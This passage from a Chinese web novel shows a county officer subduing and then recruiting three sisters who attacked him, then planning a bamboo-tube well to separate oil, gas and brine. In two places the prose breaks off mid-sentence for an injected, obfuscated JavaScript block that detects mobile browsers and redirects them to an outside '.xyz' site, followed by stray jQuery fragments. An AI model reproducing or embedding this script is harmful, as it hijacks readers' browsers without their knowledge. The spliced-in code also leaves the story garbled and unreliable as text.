薛猛目露精光,轻笑招手:“来吧!只管尽全力!让我看看你到底有几斤几两!”
“砍砍砍!”
韩金珠满脸狰狞,双目血红,朝着薛猛拼命挥刀!
俨然就是个亡命徒!
“有点意思!不过……凶狠有余,刀法却不敢恭维!”
薛猛衣角飞扬,身随步走,轻松避开对方凶狠的刀势。
一番交锋下来。
薛猛一招未出,而韩金珠已经累得气喘吁吁,满头大汗,拄着膝盖大口喘着粗气。
“怎么,这就力竭了?”
对方的路数,薛猛已经了然于胸。
纯野路子!
全靠着一股子蛮力和狠劲儿。
只会砍、劈、剁,没什么章法!
“现在,该我出招了。”
薛猛嘴角微扬,脚尖蹭地,右手勾拳扫出。
轰!
拳风呼啸!
韩金珠瞳孔骤缩,连忙举刀刺向薛猛胸口!
薛猛脚下一旋,放任对方柴刀从腋下空隙擦过。
“咔!”
待得对方刀势用老,右手勾拳变爪,擒住对方手腕。
左手探入对方腋下,扣住肩胛骨,一顶一扭一掰!
只听嘎巴一声关节弹响。
“呃啊……”
韩金珠面色痛苦,单膝跪地,胳膊关节错位,被薛猛反剪在背后。
手中柴刀,早已被薛猛顺走。
围观村民们呼吸凝滞,因五两银子而躁动的心,瞬间归于沉寂!
虽说财帛动人心!
但,薛猛实在太厉害了!
这五两银子,不是那么好拿的!
以往村里每次打群架,韩家三姐妹都是冲在最前面的,被村里人戏称“拼命三娘”!
可现在,拼命三娘里的老大韩金珠,一连砍了薛猛十几刀,连薛猛的衣角都没沾到。
而薛猛仅仅只用了一招,赤手空拳,就把韩金珠的刀夺了!
差距显而易见。
“很遗憾,勇气可嘉,但还欠缺火候,下去沉淀沉淀吧。”
薛猛松开韩金珠,随手将手中柴刀抛下,刀身入地三分。
来到空地前,负手转眸,扫向其他村民:“还有谁想来试试,尽管拔刀!”
咕咚。
二麻子喉头滚动,咽了口唾沫。
万分庆幸自己刚才没有跟薛猛动手!
其他村民面面相觑,眼中都充满了忌惮。
连韩金珠在薛猛手底都走不过一招,更别提他们了。
见村民们都怕了,薛猛有些失望。
这就怕了?
自己还没出全力呢!
“我来!”
就在这时,韩银珠、韩宝珠同时站了出来。
“哦?”
薛猛扫了二人一眼,兴奋招手:“那就一起上吧!”
姐妹二人对视一眼,分别抱住薛猛一条大腿,想要把薛猛绊倒。
谁料薛猛双脚如钉,稳如泰山,岿然不动。
“啊!啊!”
两道惨叫声响起!
韩银珠、韩宝珠口鼻溢血,被薛猛的无情铁手重击鼻梁、眉骨。
若是换了一般人,软骨组织受到重击,早就撒手倒地了。
但韩银珠和韩宝珠却是死死抱住薛猛大腿,不肯撒手!
“大姐,上啊!!!”
姐妹俩迅速交换了眼神,同时大吼一声,随即咬住了薛猛的腿。
韩金珠见状,强忍胳膊错位的剧痛,拔出插在土里的柴刀,眼冒凶光,朝着薛猛后心窝刺去!
显然是要跟薛猛拼命!
“够了!莫要伤了薛亭长!”
韩大勇大惊失色,急得汗流浃背。
“这三个疯婆娘……要闯大祸了!”
二麻子也是吓坏了。
这要是真把薛猛一刀捅**!
以薛猛在白虎乡的威望,其他几个村子的人,还不得把朱雀村给灭了?!
“住手!”
杨虎的声音骤然响起。
紧接着,便是**箭上弦的绞盘机械声。
弓**队的人到了!
十支冰冷**箭,同时对准了韩家三姐妹!
然而韩金珠三姐妹,早就已经把生死置之度外,一心只想着跟薛猛拼命!
别人说什么,早就听不进去了。
“不要!!”
众目睽睽之下,韩金珠手中柴刀,直接刺破薛猛后背衣服,硬生生捅了进去!
韩大勇双目圆瞪,失声大喊。
嘶!
其他人全都倒吸一口凉气。
杨虎等人更是目赤欲裂。
在他们心目中,薛猛就是天神下凡,不容亵渎!
若是薛猛倒下了!
卧虎村的天也就塌了!
“放箭!!!”
杨虎怒不可遏,大手一挥,高喊放箭。
弓**队队员们无不是咬牙切齿,怒火中烧,纷纷指扣**,准备射杀朱雀村这些刁民,为薛猛报仇雪恨!
“慢!”
就在这时,被捅了后心窝子的薛猛,却是抬手一声大吼,阻止了弓**队放箭。
“嗯?”
杨虎等人,眉头轻皱,察觉出一丝不对劲。
下一刻,只见薛猛刺啦一声,撕开身上玄衣,露出内里泛着青光的甲片。
“这是???”
所有人都看傻了眼。
“我没事,大家不必紧张!”
薛猛若无其事,面不改色。
反观韩银珠、韩宝珠两姐妹,满嘴都是血,牙齿都崩掉了几颗。
韩金珠手里的柴刀,亦是崩口卷刃,锋芒黯淡,整个人都愣在了原地。
“薛爷,您这套甲是……”
杨虎连忙跑了过去,上下打量了一番薛猛衣服下的甲片,总感觉有些眼熟。
“你没看错,这正是照夜灵光铠的甲衣。”
大梁国宝照夜灵光铠,工艺极其精巧,由外铠、内甲两部分组成。
外铠,也就是虎肩、鹰臂、獒背、犀腿等重型铠具,可以用于装备重骑兵,战场冲锋,所向披靡。
内甲,则由陨铁甲片组成,这些甲片经过千锤百炼,被打磨得十分轻薄,穿在内里,十分贴身,可以防护冷箭暗算。
薛猛对这内甲爱不释手,所以一直穿在身上。
韩家三姐妹虽然拼命,但薛猛若想对付她们,轻而易举。
只不过,刚才那种情形,无论用何种方式,都可能会给她们造成不可逆转的重伤。
所以薛猛选择不反抗。
反正身上穿了甲,柴刀根本
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16374881|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
破不了防。
**!
三记耳光,格外响亮!
韩大勇冲过来,扬起蒲扇大的巴掌,狠狠抽在三个女儿的脸上!
韩大勇的巴掌力道惊人!
韩金珠、韩银珠、韩宝珠三姐妹全都被打翻在地,脸都被抽变形了!
韩大勇指着三人,破口大骂道:“你们三个逆女,平日逞凶斗狠也就罢了!”
“现在连老子的话都不听了!”
“真想杀了薛亭长不成?”
“若不是薛亭长吉人自有天相,今日你们非得闯下天大的祸不可!”
“还不快跪下,给薛亭长请罪!”
韩金珠吐出一口血沫,扑通一声,在薛猛面前直挺挺跪了下来。
韩银珠、韩宝珠二人见大姐都跪了,也跟着跪了下来。
冷静下来之后,三姐妹也意识到自己刚才下手太黑了!
若不是薛猛身上穿了甲衣,她们这次可就闯大祸了。
“薛亭长,这三个逆女,随你处置!”
韩大勇对薛猛拱了拱手:“不管你是要她们蹲大狱,还是要砍她们的头,我韩大勇绝没有半句怨言!”
“对对对!这三个疯婆娘,下手真是没轻没重!”
先前在韩金珠手里吃了亏的二麻子,此时幸灾乐祸,阴阳怪气道:“亭长大人,你千万不能放过她们!一定要重重处罚她们!最好是把她们送到窑子去做妓!”
“滚一边去!”
对于二麻子这样投机取巧,偷奸耍滑的人,薛猛没有半分好脸色。
被薛猛一吼,二麻子自讨没趣,悻悻然退开在一旁。
“薛亭长,要杀要剐,悉听尊便!”
“但……我们三姐妹绝不做妓!”
“死也不做!”
韩家三姐妹跪在地上,深知自己犯了大错,薛猛无论如何,都不可能放过她们,只求薛猛给她们一个痛快。
“做妓?”
薛猛扫了三人一眼,抱着胳膊,摇头苦笑。
韩家三姐妹不算丑,但长得跟韩大勇一样,浓眉大眼,不怒自威,眉宇间透着一股子凶狠劲儿。
“像你们这样的罗刹恶女,哪个客人敢点你们?”
“少往自己脸上贴金了!”
“做妓,你们不够格!”
“像你们这种吃得咸,霸得蛮,不怕死,敢拼命的杀才!就应该跟着本亭长,横刀立马,多杀它几个响马!”
说着,薛猛朝杨虎抬了抬手指:“杨虎,把银子和牌子给她们!”
“啊?”
杨虎先是一怔,随即会意过来,不情不愿从随身褡裢里取出三个生铁牌和五两碎银,丢在韩家三姐妹面前的空地上。
“若有心随我杀贼,护卫本乡!明日辰时,到乡亭来报道!过时不候!”
留下这句话,薛猛又灌了一葫芦石油,骑上杨虎牵来的马,一夹马腹,策马离去!
韩金珠三姐妹满脸难以置信,捡起地上的生铁牌,瞳孔颤动,血脉偾张。
只见铁牌上,赫然刻着一个凶猛狰狞的虎首!
“薛亭长……要我们了!”
“有了这五两银子!”
“娘就有钱治病了!”
韩家三姐妹如获至宝,将生铁牌收在怀中,捧起地上的五两碎银,激动得泪流满面。
随即朝着薛猛离去的地方,重重磕头,把头都磕出了血。
第167章 卓筒井
“这……天底下,竟有这种事情?”
二麻子人都麻了!
本以为薛猛肯定会大发雷霆,狠狠惩治韩家三姐妹!
谁曾想,薛猛非但没有砍这三个疯婆娘的头,居然还让她们加入白虎乡乡团,吃上了饷!
还跟着足足五两安家费!!
韩大勇望着薛猛离去的背影,怔怔出神,半天没回过神来。
“不愧是薛大英雄!”
“果然宽宏大量!”
“如此气魄,可吞天地!”
“有这样的亭长,咱们白虎乡,何愁不兴?”
朱雀村村民面面相觑,眼里都有了光,心中对薛猛除了敬畏,更多了几分感激!
……
“薛爷,韩家那几个娘们儿都是朱雀村的刺头!”
“你干嘛不严惩她们?”
“还让她们加入白虎乡团?”
回去的路上,杨虎不解问道。
先前薛猛可是说过,抓住带村民**的刺头,当场格杀,杀鸡儆猴!
可现在,薛猛非但没有杀了韩家三姐妹,反而给了她们加入乡团的机会,还当众给她们安家费。
这不是等于,在鼓励那些村民“学坏”吗?
“和朱家人比起来,这些村民本性并不坏,只不过是被逼无奈,才拿起武器反抗!”
“如今响马作乱,我白虎乡正是用人之际!”
“韩家三姐妹身上的血性和狠劲儿,很难得!”
“若是加以调教,日后可堪大用!”
薛猛骑马缓行,说着,忽而想起什么,扭头对杨虎说道:“对了,朱六还活着吗?”
杨虎回道:“**!左臂齐肩削断,失血过多,我们给那帮刀客收尸的时候,他都已经硬了!”
“说到这个,薛爷,我有个疑问……”
杨虎皱起眉头,想到了一件奇怪的事情。
“你说!”
“是这样的,我们给那些刀客收尸的时候,发现他们的伤口上有烧焦的痕迹!”
“薛爷,我听李老根儿说……你的刀,会喷火?”
“弟兄们实在好奇,你是怎么做到的!”
“难不成,您真是神仙下凡,会驭火的仙术不成?”
杨虎和**队的人来晚了一步,并没有亲眼看见薛猛斩杀朱六爷等人。
仅从李老根儿口中的描述,他们根本无法想象出,当时的场面是多么的惊艳!
“哪有什么仙术?”
薛猛呵呵一笑,拍了拍腰间的葫芦:“都是这东西的功劳!”
“此物名曰猛火油!”
“只可惜,这油不纯,里面有盐卤,还有天然气!”
“使用起来比较危险。”
“等我回去,想办法分离出纯正的猛火油,到时候,不光我的刀能喷火,我还能让你们的箭也喷火!”
“哦?”
一听这话,**队队员们皆是两眼冒光。
“让箭也喷火?”
“那岂不是,一箭射出去,就能把敌人活活烧死?”
“还可以烧了敌人的营帐和粮草!”
看着队员们一张张充满兴奋的面孔,薛猛颇感欣慰。
几个月前,这些队员还只是埋没于卧虎村田间地头,老实巴交的农民!
经过打山匪、打响马、打水匪几次实战后,现在已经彻底蜕变成了“老兵”。
不仅作战英勇,而且都已经具备了基本的战术意识。
“杨虎,你们也算是老兵了!”
薛猛感慨万千:“明日新兵报道,你们可都要做好表率!”
“都给我拿出卧虎村巡猎队的气势来,莫要让其他村的人看扁了!”
“是!”
**队队员兴致高扬,齐声应道。
回到卧虎村后,薛猛立即开始闭门研究怎么分离石油、天然气、盐卤。
原本薛猛打算制作旋风分离器,利用离心力分离三种物质,但试了几次,都以失败告终。
旋风分离器,涉及到的很多科技,在当前这个时代,太难实现了!
就跟烈性**一样,可望而不可及!
好在,经过一番苦思冥想,薛猛想到了新的解决办法。
那就是——开凿“卓筒井”!
卓筒井,是北宋时期巴蜀地区的盐工,发明的一种**钻井技术。
在前世被认为是世界近代石油、天然气钻井技术的先驱。
传统的“大口浅井”,全靠人力挖掘,口径大,挖到十多米就容易塌方,而卓筒井口径仅有竹筒大小,深度却可达数百米。
钻井原理其实很简单。
只需要搭个木碓架,在架上安置带有圆刃锉钻头的杠杆。
脚踩杠杆一头,钻头就会反复砸向地下岩层,把石头砸成粉。
边砸边加水,让石粉和水混成泥浆,方便后续清理。
钻到一定深度后,把打通竹节的粗竹筒插入井中,这样便可以防止井壁塌方。
然后再取一根下端有活门的细竹筒,**粗竹筒,泥浆会顶开活门钻进筒里。
提上来时活门自动关上,就能把泥浆
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16374882|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
带出来,如此往复,就可以持续往下钻井!
卓筒井钻好后,在井口搭建绞车,利用竹筒采集卤水,同时在井口安置一个类似烟囱的陶质导筒,导筒下端插入井中,但不接触盐卤。
因为卓筒井口径小,采集卤水的竹筒插入之时,会把井里的天然气挤出来,涌进导筒内,而卤水则流入竹筒,实现气液分离。
导出盐井的天然气,再通过竹管输送到附近的盐灶,便可以替代柴火,直接用于煮盐!
至于盐卤里的石油,也好解决。
在盐井周边挖分油池,盐卤从井里抽上来后,先倒进分油池内静置。
石油密度比盐卤小,静置一段时间后,石油就会自动浮在盐卤表面,形成一层“油膜”。
等分层清楚后,再靠人工用木勺把石油撇出来。
这个办法虽然笨!
但眼下条件有限,笨办法也得用。
卓筒井的构造并不复杂,薛猛只花了一个时辰就画好了图纸。
但安全施工指南和注意事项,却写了厚厚一沓。
钻进原理虽然简单,但施工起来可就不简单了!
朱雀村地下蕴藏着大量天然气和石油资源,这些可都是易燃物,施工过程中稍微有点火花,就可能引起大**!
晚上,薛猛把林大强和徐守业叫到会议室开会,讨论具体施工方案。
“妹夫……你这安全生产指南,我看不懂啊!”
林大强挠了挠头,看着纸上密密麻麻的字,一个脑袋两个大。
让他修桥铺路,伐木烧砖,他都不在话下!
但让他认字,那可费老鼻子劲了!
虽说卧虎村又招了新的教书先生,办了夜校,白天教娃娃们念书,晚上专门教他们这些大老粗识字。
但林大强一上课就打瞌睡。
几个月下来,就学会写自己的名字,还写得歪歪扭扭。
薛猛无奈一叹,扭头将施工指南,交给了徐守业:“徐伯,我找你来,就是为了这事儿……施工队全是大老粗,没什么安全生产的意识,又不认字!”
“这钻探石油、天然气,非同小可,还得你来监督!”
“务必贯彻施工指南上的注意事项,抓牢安全生产!”
徐守业接过施工指南,老眸精光湛湛:“放心,一切包在老夫身上!”
“老夫今晚,就把这安全生产指南,编成顺口溜,就算不认字的人也能记住……”
薛猛闻言大喜。
“那可太好了!”